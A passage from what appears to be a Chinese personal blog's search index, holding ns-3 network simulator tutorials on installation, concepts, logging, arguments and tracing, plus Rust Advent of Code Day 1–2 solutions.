--PrintHelp\u0026#34; 当然直接加参数也问题不大，会提示更正的。\n自带参数 这个参数解析器自带了一些参数，可以通过 --PrintHelp 查看（竟然不是 --help，奇怪）。比如 --PrintAttributes=\u0026lt;TypeId\u0026gt; 可以查看某一类型附带的参数，以及各自的默认值。比如在第一个示例代码中，PointToPointChannel 的默认参数为：\nbash 复制代码 $ ./ns3 run examples/tutorial/first.cc -- --PrintAttributes=ns3::PointToPointChannel Attributes for TypeId ns3::PointToPointChannel --ns3::PointToPointChannel::Delay=[\u0026#43;0ns] Propagation delay through the channel Attributes defined in parent class ns3::Channel --ns3::Channel::Id=[0] The id (unique integer) of this Channel. 1 2 3 4 5 6 7 $ ./ns3 run examples/tutorial/first.cc -- --PrintAttributes=ns3::PointToPointChannel Attributes for TypeId ns3::PointToPointChannel --ns3::PointToPointChannel::Delay=[+0ns] Propagation delay through the channel Attributes defined in parent class ns3::Channel --ns3::Channel::Id=[0] The id (unique integer) of this Channel. 这个和我们在文档中看到的是一致的，默认增加0ns的延迟，但在代码中增加了2ms，覆盖了默认值。但--PrintHelp 并没有提到的是，也可以用命令行参数改变这些默认值。比如，在删除代码中设置链路延迟的部分之后，可以使用以下参数将其值改为100ms：\nbash 复制代码 ./ns3 run examples/tutorial/first.cc -- --ns3::PointToPointChannel::Delay=100ms 1 ./ns3 run examples/tutorial/first.cc -- --ns3::PointToPointChannel::Delay=100ms 上面“改变默认值”可以理解为：对于一个属性值，设定的优先级为代码设定值\u0026gt;命令行参数设定值\u0026gt;默认值。更高的优先级会完全覆盖低优先级的值。\n自定义参数 当然也可以引入自定义的参数，通过 cmd.AddValue 添加。比如在第一个示例代码中，添加一个 --nPackets 参数，用于设置发送的数据包数量：\ncpp 复制代码 uint32_t nPackets = 1; cmd.AddValue(\u0026#34;nPackets\u0026#34;, \u0026#34;Number of packets to send\u0026#34;, nPackets); 1 2 uint32_t nPackets = 1; cmd.AddValue(\u0026#34;nPackets\u0026#34;, \u0026#34;Number of packets to send\u0026#34;, nPackets); 然后在后面设置 MaxPackets attribute时传入 nPackets 即可。这样也可以避开命令行参数优先级的问题。\n跟踪 模拟的全部目的是生成输出以供进一步研究，而ns-3跟踪系统是实现这一目标的主要机制。\n—— ns-3文档\nns-3的跟踪功能，我划分为三个部分：\n跟踪源 (trace source)：在仿真的某些阶段触发，并发送某些内部数据（如数据包内容） 跟踪接收器 (trace sink)：接收跟踪源发出的数据 前两者之间的连接 将跟踪源和跟踪接收器分开，可以在不改变跟踪源的情况下，更改接收方式（如新增一个接收器）。在这篇开发者给出的教程中，将会使用一些自带的跟踪源和接收器；后面开发者还写了一篇更加详细的教程，以介绍更加复杂的跟踪用法。\nASCII跟踪 ns-3自带一个ASCII跟踪的helper以帮助设置，在前面第一个示例代码中，可以像这样修改：\ncpp 复制代码 AsciiTraceHelper ascii; pointToPoint.EnableAsciiAll(ascii.CreateFileStream(\u0026#34;myfirst.tr\u0026#34;)); Simulator::Run(); 1 2 3 AsciiTraceHelper ascii; pointToPoint.EnableAsciiAll(ascii.CreateFileStream(\u0026#34;myfirst.tr\u0026#34;)); Simulator::Run(); 然后重新运行一遍，你就会在shell的工作目录中看到一个 myfirst.tr 文件。里面有6行一长串数据，我们拿出第一行，进行一下换行拆分：\nplaintext 复制代码 \u0026#43; 2 /NodeList/0/DeviceList/0/$ns3::PointToPointNetDevice/TxQueue/Enqueue ns3::PppHeader (Point-to-Point Protocol: IP (0x0021)) ns3::Ipv4Header (tos 0x0 DSCP Default ECN Not-ECT ttl 64 id 0 protocol 17 offset (bytes) 0 flags [none] length: 1052 10.1.1.1 \u0026gt; 10.1.1.2) ns3::UdpHeader (length: 1032 49153 \u0026gt; 9) Payload (size=1024) 1 2 3 4 5 6 7 + 2 /NodeList/0/DeviceList/0/$ns3::PointToPointNetDevice/TxQueue/Enqueue ns3::PppHeader (Point-to-Point Protocol: IP (0x0021)) ns3::Ipv4Header (tos 0x0 DSCP Default ECN Not-ECT ttl 64 id 0 protocol 17 offset (bytes) 0 flags [none] length: 1052 10.1.1.1 \u0026gt; 10.1.1.2) ns3::UdpHeader (length: 1032 49153 \u0026gt; 9) Payload (size=1024) 第一行的 + 代表入队操作。每条跟踪数据的第一个字符会有四种可能：\n+：设备队列上入队 -：设备队列上出队 d：丢包（dropped），可能是因为队列满了 r：从外部接收 第二行的 2 代表模拟进行时刻。第三行描述了该行为的发起者，即节点0上的设备0发送队列进行入队，也就是节点0准备发送数据了。后面的几行可以参照Internet的分层模型，分别是链路层的PPP头、网络层的IPv4头、传输层的UDP头和应用层的数据。\nPCAP跟踪 PCAP相对上面的ASCII来说就友好多了，毕竟我们可以用Wireshark打开。类似于ASCII跟踪，PCAP跟踪可以这样应用于第一个示例代码：\ncpp 复制代码 pointToPoint.EnablePcapAll(\u0026#34;myfirst\u0026#34;); Simulator::Run(); 1 2 pointToPoint.EnablePcapAll(\u0026#34;myfirst\u0026#34;); Simulator::Run(); 这次会在shell的工作目录下，对每个节点和网络设备生成一个 pcap 文件。tcpdump的用法这里就不介绍了，Wireshark则可以直接打开，就像用它抓的包一样。\nhttps://www.nsnam.org/docs/doxygen/d7/d2e/namespacens3.html#aa6464a4d69551a9cc968e17a65f39bdb\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n","date":"February 3, 2024","matchCount":0,"permalink":"/post/ns3-tweaks/","preview":"","title":"ns-3 入门 3：日志、命令参数和跟踪"},{"content":"本文根据官方教程 Conceptual Overview 一章写成。在这章中，教程通过一个代码示例，演示了ns-3的几大基本概念及其基本使用方法。但是个人觉得顺序比较难懂，所以对其进行了一定程度的重新组织。\n下文中代码经过一点点修改，原代码见1，代码均以GPLv2发布。\n概念 节点 Node 计算机网络可以抽象为一个图，而一个节点就是其中的一个网络设备。该抽象不考虑网络设备的内部结构与功能，所以路由器（3层）、交换机（2层）、计算机均抽象为节点。因此，节点本身没有任何功能，也不能直接连接任何信道，仅代表一个能收发数据的事物，功能需要作为应用实现，信道通过设备连接。\n节点使用 ns3::Node 类表示，并由 ns3::NodeContainer 类管理。要创建指定数量的节点，可以用 Create 实例方法。以下代码创建了两个节点，并将其存储在 nodes 中：\ncpp 复制代码 NodeContainer nodes; nodes.Create(2); 1 2 NodeContainer nodes; nodes.Create(2); 要使用下标访问 NodeContainer 中的节点，可以用 Get 实例方法。以下代码访问了第一个节点（下标从0开始）：\ncpp 复制代码 Ptr\u0026lt;Node\u0026gt; node = nodes.Get(0); 1 Ptr\u0026lt;Node\u0026gt; node = nodes.Get(0); 上述代码中的 Ptr\u0026lt;T\u0026gt; 是ns-3提供的智能指针，能够自动解引用，效果类似于 std::shared_ptr\u0026lt;T\u0026gt;。类型 T 必须支持 Ref() 和 Unref() 方法。关于ns-3的内存管理机制，请看 这一段。\n为了使光秃秃的节点具备一些基本的网络通信功能（实际上属于应用），可以使用 ns3::InternetStackHelper 安装网络栈（包含TCP、UDP、IP等）。一个helper可以一次安装一整个 NodeContainer，如以下代码将 nodes 中的所有节点安装网络栈：\ncpp 复制代码 InternetStackHelper stack; stack.Install(nodes); 1 2 InternetStackHelper stack; stack.Install(nodes); 由于并没有变量上的依赖关系，缺少网络栈并不会造成编译失败，但以示例代码为例，缺少网络栈会导致运行时创建更上层的应用失败，从而直接抛出SIGABRT。\n网络设备 Net Device 正如电脑要上网就得插网卡（NIC）一样，节点要连接在一起，网络设备是不可或缺的。ns-3中的网络设备抽象包含了网卡的硬件功能和驱动程序功能，每个节点可以连接多个网络设备，用于连接多个不同的信道。\n网络设备使用 ns3::NetDevice 类表示，并使用 ns3::NetDeviceContainer 进行管理。同样正如网卡分为有线和无线网卡一样，实际使用时多选择其子类，如以太网使用的 ns3::CsmaNetDevice 类，以及Wi-Fi使用的 ns3::WifiNetDevice 类。在该篇示例代码中，由helper总揽网络设备和信道的创建，此处按下不表。\n给网络设备分配IPv4地址后，可以将其看作一个接口。使用 ns3::Ipv4AddressHelper 类，可以为一个网络设备分配一个IPv4地址。以下代码设置了IP地址分配范围和掩码，并将其按顺序分配给一个 NetDeviceContainer 中的设备，返回的是一个接口容器 ns3::Ipv4InterfaceContainer：\ncpp 复制代码 Ipv4AddressHelper address; address.SetBase(\u0026#34;10.1.1.0\u0026#34;, \u0026#34;255.255.255.0\u0026#34;); Ipv4InterfaceContainer interfaces = address.Assign(devices); 1 2 3 Ipv4AddressHelper address; address.SetBase(\u0026#34;10.1.1.0\u0026#34;, \u0026#34;255.255.255.0\u0026#34;); Ipv4InterfaceContainer interfaces = address.Assign(devices); 此处使用了多个隐式转换，从 const char* 即字符串描述的地址到 Ipv4Address 和 Ipv4Mask。如果不希望从10.1.1.1开始分配，可以使用第三个参数 base，如 \u0026ldquo;0.0.0.3\u0026rdquo; 表示从10.1.1.3开始分配2。\n信道 Channel 信道代表节点之间的连接，比如RJ45双绞线，比如Wi-Fi，都可以抽象为信道。\n信道使用 ns3::Channel 类表示，并由 ns3::ChannelContainer 类管理。同样，信道也有多种类型，如以太网使用的 ns3::CsmaChannel 类，Wi-Fi使用的 ns3::WifiChannel 类。但是在本篇示例代码中，并没有明确地使用 Channel，而是借助了网络设备和信道的紧密联系，由helper类统一创建。比如在下面的代码中，新建了一个点对点信道，设置两端网络设备传输速率为5 Mbps，信道延迟2 ms，并将其安装到一个 NodeContainer 中，最终返回创建完成的网络设备 NetDeviceContainer：\ncpp 复制代码 PointToPointHelper pointToPoint; pointToPoint.SetDeviceAttribute(\u0026#34;DataRate\u0026#34;, StringValue(\u0026#34;5Mbps\u0026#34;)); pointToPoint.SetChannelAttribute(\u0026#34;Delay\u0026#34;, StringValue(\u0026#34;2ms\u0026#34;)); auto devices = pointToPoint.Install(nodes); 1 2 3 4 PointToPointHelper pointToPoint; pointToPoint.SetDeviceAttribute(\u0026#34;DataRate\u0026#34;, StringValue(\u0026#34;5Mbps\u0026#34;)); pointToPoint.SetChannelAttribute(\u0026#34;Delay\u0026#34;, StringValue(\u0026#34;2ms\u0026#34;)); auto devices = pointToPoint.Install(nodes); 属性（attribute）相比于普通的成员变量，具有更多的控制，如可以设置默认值（包括编译期和运行期）、边界检查等。关于更多属性信息，请看 这一段。\n点对点信道限制输入的 NodeContainer 必须有且仅有两个节点，否则运行时会抛出异常。\n这里设置的网络设备属性和信道属性，应该参考具体的网络设备3和信道类4的文档。\n信道的延迟，就是propagation delay。\n应用 Application 节点的实际功能均由应用实现。这是一个庞大的概念，不仅仅包含应用层的内容，也同时包含了传输层、网络层等内容。它描述了某个节点的行为。\n应用使用 ns3::Application 类表示，并由 ApplicationContainer 类管理。该container的具体创建由具体的应用程序实现。使用 Start 和 Stop 实例方法，可以控制应用的开始结束时间，仿真程序在所有应用运行结束之前不会主动停止：\ncpp 复制代码 ApplicationContainer serverApps = xxx; serverApps.Start(Seconds(1.0)); serverApps.Stop(Seconds(10.0)); 1 2 3 ApplicationContainer serverApps = xxx; serverApps.Start(Seconds(1.0)); serverApps.Stop(Seconds(10.0)); 在示例代码中，具体使用了 ns3::UdpEchoClientApplication 和 ns3::UdpEchoServerApplication 类，作用应该不言而喻。UdpEchoServerApplication 使用 ns3::UdpEchoServerHelper 类创建，如以下代码在第二个节点上安装，设置端口为9，并在1-10s运行：\ncpp 复制代码 UdpEchoServerHelper echoServer(9); ApplicationContainer serverApps = echoServer.Install(nodes.Get(1)); serverApps.Start(Seconds(1.0)); serverApps.Stop(Seconds(10.0)); 1 2 3 4 UdpEchoServerHelper echoServer(9); ApplicationContainer serverApps = echoServer.Install(nodes.Get(1)); serverApps.Start(Seconds(1.0)); serverApps.Stop(Seconds(10.0)); 这里包含一个隐式转换。nodes.Get(1) 返回的是 Ptr\u0026lt;Node\u0026gt;，而 Install 方法接受的是 NodeContainer，但是 Ptr\u0026lt;Node\u0026gt; 可以隐式转换为 NodeContainer。\n负责主动发送数据的 UdpEchoClientApplication 与上文的helper类似，但有更多的参数可供自定义。如以下代码，将第二个节点的端口9作为目标，设置发送间隔为1s、包大小为1024B、发送总数为15，安装到第一个节点上，并在2-10s运行：\ncpp 复制代码 UdpEchoClientHelper echoClient(interfaces.GetAddress(1), 9); echoClient.SetAttribute(\u0026#34;MaxPackets\u0026#34;, UintegerValue(1)); echoClient.SetAttribute(\u0026#34;Interval\u0026#34;, TimeValue(Seconds(1.0))); echoClient.SetAttribute(\u0026#34;PacketSize\u0026#34;, UintegerValue(1024)); ApplicationContainer clientApps = echoClient.Install(nodes.Get(0)); clientApps.Start(Seconds(2.0)); clientApps.Stop(Seconds(10.0)); 1 2 3 4 5 6 7 UdpEchoClientHelper echoClient(interfaces.GetAddress(1), 9); echoClient.SetAttribute(\u0026#34;MaxPackets\u0026#34;, UintegerValue(1)); echoClient.SetAttribute(\u0026#34;Interval\u0026#34;, TimeValue(Seconds(1.0))); echoClient.SetAttribute(\u0026#34;PacketSize\u0026#34;, UintegerValue(1024)); ApplicationContainer clientApps = echoClient.Install(nodes.Get(0)); clientApps.Start(Seconds(2.0)); clientApps.Stop(Seconds(10.0)); 代码示例 使用ns-3编写的仿真器程序是声明式而非命令式的，这有点类似于前端工程中兴起的类似概念。\n头文件 ns-3提供了一些大粒度的头文件，可以一定程度上免去繁琐的找头文件过程。下面头文件的内容，基本就是示例代码中用到的模块。\ncpp 复制代码 #include \u0026#34;ns3/core-module.h\u0026#34; #include \u0026#34;ns3/network-module.h\u0026#34; #include \u0026#34;ns3/internet-module.h\u0026#34; #include \u0026#34;ns3/point-to-point-module.h\u0026#34; #include \u0026#34;ns3/applications-module.h\u0026#34; 1 2 3 4 5 #include \u0026#34;ns3/core-module.h\u0026#34; #include \u0026#34;ns3/network-module.h\u0026#34; #include \u0026#34;ns3/internet-module.h\u0026#34; #include \u0026#34;ns3/point-to-point-module.h\u0026#34; #include \u0026#34;ns3/applications-module.h\u0026#34; 日志 ns-3的日志是可以按照模块自定义的，当然这也需要自行为代码划分模块。如示例代码中的这一行macro就是将当前源文件划分到 FirstScriptExample 模块：\ncpp 复制代码 ns3::NS_LOG_COMPONENT_DEFINE(\u0026#34;FirstScriptExample\u0026#34;); 1 ns3::NS_LOG_COMPONENT_DEFINE(\u0026#34;FirstScriptExample\u0026#34;); 如果需要控制日志的详细程度，可以使用（如将 UdpEchoClientApplication 的日志级别设为 INFO）\ncpp 复制代码 ns3::LogComponentEnable(\u0026#34;UdpEchoClientApplication\u0026#34;, LOG_LEVEL_INFO); 1 ns3::LogComponentEnable(\u0026#34;UdpEchoClientApplication\u0026#34;, LOG_LEVEL_INFO); 命名空间 正如上文提到的，本代码示例中使用的类几乎均在 ns3 命名空间下。\n模拟器 当上文模拟器所需执行的行为全部描述完毕后，就需要调用模拟器进行模拟了。这个示例代码的模拟是有穷尽的，所以可以等待模拟自行结束，然后直接销毁：\ncpp 复制代码 Simulator::Run(); Simulator::Destroy(); 1 2 Simulator::Run(); Simulator::Destroy(); 但是，如果模拟永远不会结束，或是希望自定义一个结束时间，则需要在 Run() 之前调用 Stop()，如以下代码将模拟时间限制在10s：\ncpp 复制代码 Simulator::Stop(Seconds(10.0)); Simulator::Run(); Simulator::Destroy(); 1 2 3 Simulator::Stop(Seconds(10.0)); Simulator::Run(); Simulator::Destroy(); 编译 教程中提到的 ./ns3 build 大概率是错的，个人猜测是之前 ./waf 直接查找替换后的产物6。现在不必将文件移至 scratch/ 中，如本例子可以直接执行：\nbash 复制代码 ./ns3 run examples/tutorial/first.cc 1 ./ns3 run examples/tutorial/first.cc https://gitlab.com/nsnam/ns-3-dev/-/blob/61750bbd89ee258a423a7ec095b13896eeab47c5/examples/tutorial/first.cc\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nhttps://www.nsnam.org/docs/doxygen/d5/d4f/classns3_1_1_ipv4_address_helper.html#acf7b16dd25bac67e00f5e25f90a9a035\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nhttps://www.nsnam.org/docs/doxygen/dc/d89/classns3_1_1_point_to_point_net_device.html\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nhttps://www.nsnam.org/docs/doxygen/db/d4a/classns3_1_1_point_to_point_channel.html\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nhttps://www.nsnam.org/docs/doxygen/d4/d0c/classns3_1_1_udp_echo_client.html\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nhttps://gitlab.com/nsnam/ns-3-dev/-/commit/3c604d5b2e57850c3db611709c0c04be8c59c044?page=3#085fdec380970f024611fd48e61bfbcdfa826a5d_846_846\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n","date":"January 27, 2024","matchCount":0,"permalink":"/post/ns3-concepts/","preview":"","title":"ns-3 入门 2：概念与第一个示例"},{"content":"根据官方教程 Getting Started 一章写成。\n介绍 ns-3是一个离散网络事件模拟器。不难理解这个描述：比如改变拥塞窗口大小，发出数据包，都是离散事件。将这些离散事件按发生时间顺序模拟，就能得到这个系统在一段时间内的运行过程。因为计算机网络（也有其他一些类似系统）的运行过程是离散的，而不像往水池里倒水那样连续的，所以这种模拟方法是合理的。\nns-3本质上是一组库，可以在C++（或Python，但之后忽略）程序中导入，也就是自己写代码把ns-3提供的工具串成一个完整的模拟程序。通过手动导入头文件和链接库，当然也可以直接利用ns-3编译出需要的程序，但ns-3也提供了 ns3 命令行工具，以构建并运行模拟源代码。\n下载 ns-3的分发形式是源代码，无论发行版是否有打包，都推荐使用源代码安装。以下仅以Linux为例，Windows用户自觉去装WSL2。\n如果你使用Ubuntu，则可以参考官方文档的对应部分1先按需安装好依赖；如果你和我一样使用的是Arch Linux，那么有一个 PROTECTED_0 AUR 包。但个人不建议你直接装它，因为上文提到的 ns3 命令行工具会留在源代码目录里，无法直接引用。所以可以利用AUR装依赖。Arch Linux的cppyy（用于写Python仿真程序）已更新至3.x，ns-3还没跟上支持，如有需要请注意。\n然后从官网下载 最新源码包，解压，进入里面的 ns-3.xx 目录。下文均基于3.40版本，此处暂时不提另外两种使用Bake和Git的方法。\n编译 官方在文档里给了三种编译方式：\n使用 build.py：比较简单，但不太自由 使用CMake：能自定义编译的模块，以及一些额外的选项 使用Bake：好处就是可以包揽从下载到安装 个人需要在之后将ns-3安装至系统目录，而其限定只能用第二种方法，所以下面只写第二种。\nns3 命令行工具也可以作为CMake的一个wrapper。在 ns-allinone-3.xx/ns-3.xx 目录中，运行以下命令：\nbash 复制代码 ./ns3 clean ./ns3 configure --enable-tests --enable-examples --prefix=/usr/local ./ns3 build 1 2 3 ./ns3 clean ./ns3 configure --enable-tests --enable-examples --prefix=/usr/local ./ns3 build 其中 configure 的前两个参数是一起编译测试和示例，--prefix 指定之后的安装路径。完整的参数列表可以使用 ./ns3 configure --help 查看。\n还需要注意configure完成后显示的build profile。如果在之后使用时需要使用GDB调试，则需确保其为 debug （加入 -d debug参数并重新编译），如不需调试，则可以使用默认的 optimized。\n只要不是缺少非必需的依赖，编译都会正常进行。CMake也会输出各个模块是否会被编译，以及不被编译的原因（如果有；如缺少依赖，或用户指定不编译）。官方文档中有示例的编译输出，可以结合来看。\n编译完成后，可以运行测试：\nbash 复制代码 ./test.py 1 ./test.py 到这里编译过程就结束了。由于 ns3 命令行工具的存在，写程序时不需要太关注库和头文件的位置，同时为了防止多个ns-3版本共存冲突，开发者声称大部分人并不需要安装了：\nMost users do not install ns-3 libraries to typical system library directories; they instead just leave the libraries in the build directory, and the ns3 Python program will find these libraries.\n安装 虽然 ns3 命令行工具能够帮助构建系统找到头文件和链接库，但麻烦的是IDE并不这么认为（clangd自定义就比较麻烦），所以我决定将其安装到系统目录中。前面提到我添加了 --prefix=/usr/local，在这一步ns-3的头文件和链接库就会被分别安装到 /usr/local/include/ns3 和 /usr/local/lib。\n根据文档，安装也需使用 ns3 命令行。但是 ns3 命令行工具会故意阻止以root权限执行，确有需要的可以编辑其约1400行处，删掉对 refuse_run_as_root() 的调用2。但也有副作用，比如之后每次构建运行仿真程序都要输入密码。在此希望读者也能够对自己的目的和行为有明确的认知。\n然后，执行 ./ns3 install 即可将ns-3的头文件和链接库安装至prefix指定的位置。\n如果只是为了IDE识别，当然也有另外一种方法，仅把头文件复制到系统目录中。头文件就在 build/include/ns3 目录中。\n安装完成后，下一篇将顺着官方教程的脉络，认识一个仿真程序的示例。\nhttps://www.nsnam.org/docs/installation/html/linux.html#requirements\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nhttps://www.nsnam.org/docs/installation/html/quick-start.html#installing-ns-3\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n","date":"January 26, 2024","matchCount":0,"permalink":"/post/ns3-intro-installation/","preview":"","title":"ns-3 入门 1：介绍与安装"},{"content":"头一回听说这个玩意，看起来还挺有意思的，国际上挺火，也不是特别难，有空就写一点，顺便学习一下Rust，以防入门第四次失败。\nDay 1 Part 1 题意很简单，找到每一行第一个和最后一个数字，将其组成一个两位数，然后相加。样例也很人畜无害（很有OI的风格）：\nplaintext 复制代码 1abc2 pqr3stu8vwx a1b2c3d4e5f treb7uchet 1 2 3 4 1abc2 pqr3stu8vwx a1b2c3d4e5f treb7uchet 比如第一行找出1和2，就是12，2、3行同理，第4行则是两个7，最后相加得到12 + 38 + 15 + 77 = 142。\n只是这样的话当然（看起来）很简单了，特别是当Rust提供了 str 的 find 和 rfind 之后。\n对每行：\n分别记录每一行首末数字的位置，初始化为0和 len(str)+1，以及其对应的数字 遍历0-9的每个数字，顺便更新上述四个变量 最后将两个对应的数字拼起来，加进去 在上述第二步中，一开始筛选条件为“若本位数字下标大于最后一位下标，则更新”（即 number_last_match \u0026gt; last_index），然而当有且仅有第一位为数字时，不会更新。改为大于等于即可。这样例确实有股OI味儿，得学会自己出~\nrust 复制代码 pub fn part_one(input: \u0026amp;str) -\u0026gt; Option\u0026lt;u32\u0026gt; { // separate input into lines let lines = input.lines(); let mut sum = 0; let numbers = [\u0026#34;0\u0026#34;, \u0026#34;1\u0026#34;, \u0026#34;2\u0026#34;, \u0026#34;3\u0026#34;, \u0026#34;4\u0026#34;, \u0026#34;5\u0026#34;, \u0026#34;6\u0026#34;, \u0026#34;7\u0026#34;, \u0026#34;8\u0026#34;, \u0026#34;9\u0026#34;]; for line in lines { let mut first_number = 0; let mut first_index: usize = line.len() \u0026#43; 1; let mut last_number = 0; let mut last_index: usize = 0; for i in 0..10 { if let Some(number_first_match) = line.find(numbers[i]) { if number_first_match \u0026lt; first_index { first_number = i; first_index = number_first_match; } } if let Some(number_last_match) = line.rfind(numbers[i]) { if number_last_match \u0026gt;= last_index { // If the only number is at [0], use this to record it last_number = i; last_index = number_last_match; } } } sum \u0026#43;= first_number * 10 \u0026#43; last_number; } Some(sum as u32) } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 pub fn part_one(input: \u0026amp;str) -\u0026gt; Option\u0026lt;u32\u0026gt; { // separate input into lines let lines = input.lines(); let mut sum = 0; let numbers = [\u0026#34;0\u0026#34;, \u0026#34;1\u0026#34;, \u0026#34;2\u0026#34;, \u0026#34;3\u0026#34;, \u0026#34;4\u0026#34;, \u0026#34;5\u0026#34;, \u0026#34;6\u0026#34;, \u0026#34;7\u0026#34;, \u0026#34;8\u0026#34;, \u0026#34;9\u0026#34;]; for line in lines { let mut first_number = 0; let mut first_index: usize = line.len() + 1; let mut last_number = 0; let mut last_index: usize = 0; for i in 0..10 { if let Some(number_first_match) = line.find(numbers[i]) { if number_first_match \u0026lt; first_index { first_number = i; first_index = number_first_match; } } if let Some(number_last_match) = line.rfind(numbers[i]) { if number_last_match \u0026gt;= last_index { // If the only number is at [0], use this to record it last_number = i; last_index = number_last_match; } } } sum += first_number * 10 + last_number; } Some(sum as u32) } Part 2 其实就是在P1数字的基础上加上表示数字的单词。一听到要匹配多种字符串，啪的一下很快啊，拿出了正则表达式。只需要十个正则表达式，全部正着反着匹配一遍就行了……真的如此吗？\n然而实际上，Rust的 regex crate使用的是自动机匹配，虽然比PCRE效率高，但它并不原生支持反向匹配；得把字符串和表达式都反过来，再匹配一遍，显然很不优雅。\n突然想起，还有一个相比没那么丑陋、Part 1用过的方案摆在眼前：匹配两次不就行了吗？\nrust 复制代码 pub fn part_two(input: \u0026amp;str) -\u0026gt; Option\u0026lt;u32\u0026gt; { // separate input into lines let lines = input.lines(); let mut sum = 0; let numbers = [\u0026#34;0\u0026#34;, \u0026#34;1\u0026#34;, \u0026#34;2\u0026#34;, \u0026#34;3\u0026#34;, \u0026#34;4\u0026#34;, \u0026#34;5\u0026#34;, \u0026#34;6\u0026#34;, \u0026#34;7\u0026#34;, \u0026#34;8\u0026#34;, \u0026#34;9\u0026#34;]; let word_numbers = [ \u0026#34;zero\u0026#34;, \u0026#34;one\u0026#34;, \u0026#34;two\u0026#34;, \u0026#34;three\u0026#34;, \u0026#34;four\u0026#34;, \u0026#34;five\u0026#34;, \u0026#34;six\u0026#34;, \u0026#34;seven\u0026#34;, \u0026#34;eight\u0026#34;, \u0026#34;nine\u0026#34;, ]; for line in lines { let mut first_number = 0; let mut first_index: usize = line.len() \u0026#43; 1; let mut last_number = 0; let mut last_index: usize = 0; for i in 0..10 { if let Some(word_first_match) = line.find(word_numbers[i]) { if word_first_match \u0026lt; first_index { first_number = i; first_index = word_first_match; } } if let Some(word_last_match) = line.rfind(word_numbers[i]) { if word_last_match \u0026gt;= last_index { last_number = i; last_index = word_last_match; } } if let Some(number_first_match) = line.find(numbers[i]) { if number_first_match \u0026lt; first_index { first_number = i; first_index = number_first_match; } } if let Some(number_last_match) = line.rfind(numbers[i]) { if number_last_match \u0026gt;= last_index { last_number = i; last_index = number_last_match; } } } sum \u0026#43;= first_number * 10 \u0026#43; last_number; } Some(sum as u32) } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 pub fn part_two(input: \u0026amp;str) -\u0026gt; Option\u0026lt;u32\u0026gt; { // separate input into lines let lines = input.lines(); let mut sum = 0; let numbers = [\u0026#34;0\u0026#34;, \u0026#34;1\u0026#34;, \u0026#34;2\u0026#34;, \u0026#34;3\u0026#34;, \u0026#34;4\u0026#34;, \u0026#34;5\u0026#34;, \u0026#34;6\u0026#34;, \u0026#34;7\u0026#34;, \u0026#34;8\u0026#34;, \u0026#34;9\u0026#34;]; let word_numbers = [ \u0026#34;zero\u0026#34;, \u0026#34;one\u0026#34;, \u0026#34;two\u0026#34;, \u0026#34;three\u0026#34;, \u0026#34;four\u0026#34;, \u0026#34;five\u0026#34;, \u0026#34;six\u0026#34;, \u0026#34;seven\u0026#34;, \u0026#34;eight\u0026#34;, \u0026#34;nine\u0026#34;, ]; for line in lines { let mut first_number = 0; let mut first_index: usize = line.len() + 1; let mut last_number = 0; let mut last_index: usize = 0; for i in 0..10 { if let Some(word_first_match) = line.find(word_numbers[i]) { if word_first_match \u0026lt; first_index { first_number = i; first_index = word_first_match; } } if let Some(word_last_match) = line.rfind(word_numbers[i]) { if word_last_match \u0026gt;= last_index { last_number = i; last_index = word_last_match; } } if let Some(number_first_match) = line.find(numbers[i]) { if number_first_match \u0026lt; first_index { first_number = i; first_index = number_first_match; } } if let Some(number_last_match) = line.rfind(numbers[i]) { if number_last_match \u0026gt;= last_index { last_number = i; last_index = number_last_match; } } } sum += first_number * 10 + last_number; } Some(sum as u32) } Day 2 Part 1 每行代表一次game，每次game进行多次随机抽取，共有12个红色、13个绿色、14个蓝色，问有哪几次game中，所有抽取都符合实际情况，也就是每次抽取的每种颜色都不超过实际数量。\nplaintext 复制代码 Game 1: 3 blue, 4 red; 1 red, 2 green, 6 blue; 2 green Game 2: 1 blue, 2 green; 3 green, 4 blue, 1 red; 1 green, 1 blue Game 3: 8 green, 6 blue, 20 red; 5 blue, 4 red, 13 green; 5 green, 1 red Game 4: 1 green, 3 red, 6 blue; 3 green, 6 red; 3 green, 15 blue, 14 red Game 5: 6 red, 1 blue, 3 green; 2 blue, 1 red, 2 green 1 2 3 4 5 Game 1: 3 blue, 4 red; 1 red, 2 green, 6 blue; 2 green Game 2: 1 blue, 2 green; 3 green, 4 blue, 1 red; 1 green, 1 blue Game 3: 8 green, 6 blue, 20 red; 5 blue, 4 red, 13 green; 5 green, 1 red Game 4: 1 green, 3 red, 6 blue; 3 green, 6 red; 3 green, 15 blue, 14 red Game 5: 6 red, 1 blue, 3 green; 2 blue, 1 red, 2 green split，全都可以split，第一次分行，第二次用 : 把 \u0026ldquo;Game X: \u0026quot; 截掉，第三次用 ; 分隔抽数，第四次用 , 分隔颜色，第五次用 `` 分隔数量和颜色。match一下即可。\nrust 复制代码 pub fn part_one(input: \u0026amp;str) -\u0026gt; Option\u0026lt;u32\u0026gt; { let mut id_sum: u32 = 0; \u0026#39;game: for (index, game) in input.lines().enumerate() { // split \u0026#34;Game X: yyyyyyyyy\u0026#34; let content = game.split(\u0026#34;: \u0026#34;).collect::\u0026lt;Vec\u0026lt;\u0026amp;str\u0026gt;\u0026gt;()[1]; // split \u0026#34;X blue, Y red; XX green, YY yellow\u0026#34; let gotchas = content.split(\u0026#34;; \u0026#34;).collect::\u0026lt;Vec\u0026lt;\u0026amp;str\u0026gt;\u0026gt;(); let (mut red, mut green, mut blue) = (0, 0, 0); // Per gotcha: maximum 12 red, 13 green, 14 blue for gotcha in gotchas { let colors = gotcha.split(\u0026#34;, \u0026#34;).collect::\u0026lt;Vec\u0026lt;\u0026amp;str\u0026gt;\u0026gt;(); for color in colors { // color: \u0026#34;X blue/green/red\u0026#34; let color = color.split(\u0026#34; \u0026#34;).collect::\u0026lt;Vec\u0026lt;\u0026amp;str\u0026gt;\u0026gt;(); let count = color[0].parse::\u0026lt;u32\u0026gt;().unwrap(); match color[1] { \u0026#34;blue\u0026#34; 